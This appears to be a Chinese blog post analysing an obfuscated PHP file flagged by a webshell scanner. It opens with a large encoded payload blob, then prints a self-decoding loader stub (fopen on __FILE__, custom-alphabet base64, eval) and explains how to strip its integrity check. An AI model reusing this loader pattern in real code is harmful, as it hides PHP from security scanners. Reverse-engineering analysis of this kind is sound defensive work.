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

0x01花开

放入php的环境,空白文件,啥都没有。
看见eval,直接换上echo大法,

像个套娃,那把这段代码丢进脚本,再替换一下看看



又变空白了,还有一个eval,再换为echo,

乱码了,没有办法,只能一点一点分析。

在上一步替换之后代码情况如下

1
2
3
4
<?php 
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=24488;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';

$OO0OO0000=$OOO000000{17}.$OOO000000{12}.$OOO000000{18}.$OOO000000{5}.$OOO000000{19};if(!0)$O000O0O00=$OO0OO0000($OOO0O0O00,'rb');$OO0OO000O=$OOO000000{17}.$OOO000000{20}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OO0OO00O0=$OOO000000{14}.$OOO000000{0}.$OOO000000{20}.$OOO000000{0}.$OOO000000{20};$OO0OO000O($O000O0O00,1147);$OO00O00O0=($OOO0000O0($OO0OO00O0($OO0OO000O($O000O0O00,380),'I9N+0QHRThv5A/d8YZ4XzKfMtuLy1qrnjkxlepJ26GbBgWi7wDmSEacV3PoOFsCU=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));eval($OO00O00O0);return;?>

这么多ooxx,看到有点迷,就替换一下啵。

有一些字符串拼接也打印一下,探探究竟 。

base64_decode 这到没啥奇怪的,fopen的话,就有点问题了,读了一个文件,再看看代码,第一行有个FILE,肯定是有啥自加密的东西,一旦脚本篡改,脚本就没法执行,出来乱码,继续分析下去看看。

到了这一步基本逻辑就很清晰了。

脚本的前半段,也就是1147字节,是脚本,后面的是真正的文件内容。一旦修改了前面1147字节的内容,前面代码的大小发生变动,也就无法执行,拿到真正的代码了。

so,我们怎么改一下,直接把后半部分的内容,放到最前面,然后将读取1147这个一行注释掉,直接读取前面的380字节,这样就可以为所欲为了。

0x02 花谢

按照上一步的分析,修改代码

看一下结果

上半部分是脚本的内容,下半部分,看来还要替换一下,果然套娃套了一层层~

最后还有一个eval,改成echo再执行看看,bingo,真正的代码出来了

格式化一下

看着挺像是正常程序的,难道今天我跟D盾都是铁憨憨,捅错了位置??

0x03 缘灭

看了一会,想起有个qq号码,那搜一下看看啵

emmm,无fuck可说。

Over!